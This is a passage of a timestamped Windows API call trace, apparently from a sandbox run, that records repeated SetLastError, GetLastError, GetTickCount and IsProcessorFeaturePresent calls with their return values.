SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.753] SetLastError (dwErrCode=0x0) [0049.753] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.754] GetLastError () returned 0x0 [0049.754] SetLastError (dwErrCode=0x0) [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b817 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b827 [0049.755] GetLastError () returned 0x0 [0049.755] GetTickCount () returned 0x1b827 [0049.755] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.756] GetTickCount () returned 0x1b827 [0049.756] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.757] GetTickCount () returned 0x1b827 [0049.757] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.758] GetTickCount () returned 0x1b827 [0049.758] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.759] GetLastError () returned 0x0 [0049.759] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.760] GetLastError () returned 0x0 [0049.760] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.761] GetLastError () returned 0x0 [0049.761] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.762] GetTickCount () returned 0x1b827 [0049.762] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.763] GetTickCount () returned 0x1b827 [0049.763] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.764] GetTickCount () returned 0x1b827 [0049.764] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.765] GetLastError () returned 0x0 [0049.765] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] GetLastError () returned 0x0 [0049.766] GetTickCount () returned 0x1b827 [0049.766] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.766] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.766] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.766] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.766] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.767] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.768] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.769] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0049.770] 